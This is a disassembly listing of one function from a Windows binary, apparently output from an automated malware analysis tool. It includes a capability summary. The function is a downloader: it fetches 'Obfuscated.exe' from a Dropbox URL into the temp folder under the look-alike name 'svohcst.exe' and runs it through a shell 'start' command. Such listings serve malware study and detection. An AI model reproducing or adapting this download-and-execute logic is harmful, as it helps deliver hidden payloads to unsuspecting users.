Function at 0x140001350
Capabilities:
Create http request
Execute command
Get common file path
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
push r13
lea rbp, [rsp - 0x11e0]
mov eax, 0x12e0
call fcn.140003f70
sub rsp, rax
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x11c0], rax
lea rdx, [rbp + 0xb0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
lea rax, [rbp + 0xb0]
movups xmmword [rsp + 0x30], xmm0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400013a3
movabs r13, 0x7fffffffffffffff
cmp rbx, r13
ja 0x1400019ec
mov qword [rsp + 0x1300], rsi
movabs rax, 0x8000000000000000
mov qword [rsp + 0x1308], rdi
mov ecx, 0x16
mov qword [rsp + 0x12d8], r14
xor r14d, r14d
cmp rbx, 0xf
ja 0x14000141b
mov r8, rbx
mov qword [rsp + 0x40], rbx
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], r14b
jmp 0x1400014a7
mov rdi, rbx
or rdi, 0xf
cmp rdi, r13
jbe 0x14000144d
mov rdi, r13
add rax, 0x27
mov rcx, rax
call fcn.140002ff0
test rax, rax
je 0x14000157b
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140001482
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001462
mov rsi, r14
jmp 0x140001482
cmp rcx, 0x1000
jb 0x14000147a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400019e0
jmp 0x14000142e
call fcn.140002ff0
mov rsi, rax
mov r8, rbx
mov qword [rsp + 0x30], rsi
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x40], rbx
mov rcx, rsi
mov qword [rsp + 0x48], rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], r14b
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 0xb
jb 0x1400014f8
cmp rdx, 0xf
lea rax, [rcx + 0xb]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea rdx, str.svohcst.exe
add rbx, rcx
mov r8d, 0xb
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x30]
mov byte [rbx + 0xb], r14b
jmp 0x140001517
lea r9, str.svohcst.exe
mov qword [rsp + 0x20], 0xb
mov edx, 0xb
lea rcx, [rsp + 0x30]
call fcn.140002dc0
mov qword [rbp + 0x78], r14
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
mov qword [rbp + 0x80], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001587
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001582
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001582
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000302c
cmp qword [rbp + 0x80], 0xf
lea rsi, [rbp + 0x68]
mov qword [rsp + 0x1310], r12
lea rcx, str.Downloader
cmova rsi, qword [rbp + 0x68]
mov edx, 1
xor r9d, r9d
mov qword [rsp + 0x12d0], r15
xor r8d, r8d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x140001601
mov qword [rsp + 0x28], r14
lea rdx, str.https:__www.dropbox.com_scl_fi_fv0a3aky6lzqsih6bukgw_Obfuscated.exe_rlkeyi4ayio832qeqltvqgd6yvul84stvhc5anghdl1
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x14000164f
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14d, 1
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140001994
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000198f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000198f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140002660
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
mov rcx, rbx
test al, al
je 0x1400016aa
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x50]
call fcn.140001290
jmp 0x140001601
lea r9, [rbp + 0x60]
mov r8d, 0x1000
lea rdx, [rbp + 0x1c0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400016ff
mov eax, dword [rbp + 0x60]
test eax, eax
je 0x1400016ff
mov r8d, eax
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0x60]
mov r8d, 0x1000
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400016c5
lea rcx, [rsp + 0x58]
call fcn.140002a80
test rax, rax
jne 0x14000172d
mov rax, qword [rsp + 0x50]
xor r8d, r8d
mov edx, 2
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x50]
call fcn.140001290
mov edx, 0x12c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
mov r15, qword [rbp + 0x78]
mov rax, r13
sub rax, r15
cmp rax, 0xa
jb 0x1400019da
cmp qword [rbp + 0x80], 0xf
lea r12, [rbp + 0x68]
lea rsi, [r15 + 0xa]
mov ebx, 0xf
cmova r12, qword [rbp + 0x68]
lea rdi, [rsp + 0x30]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp rsi, rbx
jbe 0x14000181e
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x1400017de
movabs rax, 0x8000000000000000
mov rbx, r13
add rax, 0x27
mov rcx, rax
call fcn.140002ff0
test rax, rax
je 0x140001919
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001819
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400017f9
mov rdi, r14
jmp 0x140001819
cmp rcx, 0x1000
jb 0x140001811
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400019e6
jmp 0x1400017bf
call fcn.140002ff0
mov rdi, rax
mov qword [rsp + 0x30], rdi
movsd xmm0, qword [str.start_____]
lea rcx, [rdi + 0xa]
mov qword [rsp + 0x40], rsi
mov r8, r15
mov qword [rsp + 0x48], rbx
mov rdx, r12
movsd qword [rdi], xmm0
movzx eax, word [0x140005590]
mov word [rdi + 8], ax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r14b
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14000188d
lea rax, [rcx + 1]
cmp rdx, 0xf
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmova rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x22
lea rax, [rsp + 0x30]
jmp 0x1400018ac
lea r9, [0x140005584]
mov qword [rsp + 0x20], 1
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140002dc0
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x88], xmm0
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001925
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001920
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001920
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000302c
cmp qword [rbp + 0xa0], 0xf
lea rcx, [rbp + 0x88]
cmova rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140001607
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001985
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001985
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000302c
jmp 0x140001607
call fcn.14000302c
mov r12, qword [rsp + 0x1310]
mov eax, r14d
mov r14, qword [rsp + 0x12d8]
mov r15, qword [rsp + 0x12d0]
mov rdi, qword [rsp + 0x1308]
mov rsi, qword [rsp + 0x1300]
mov rcx, qword [rbp + 0x11c0]
xor rcx, rsp
call fcn.140002fd0
add rsp, 0x12e0
pop r13
pop rbx
pop rbp
ret
call fcn.1400011b0
int3
call fcn.140001110
int3
call fcn.140001110
int3
call fcn.1400011b0
int3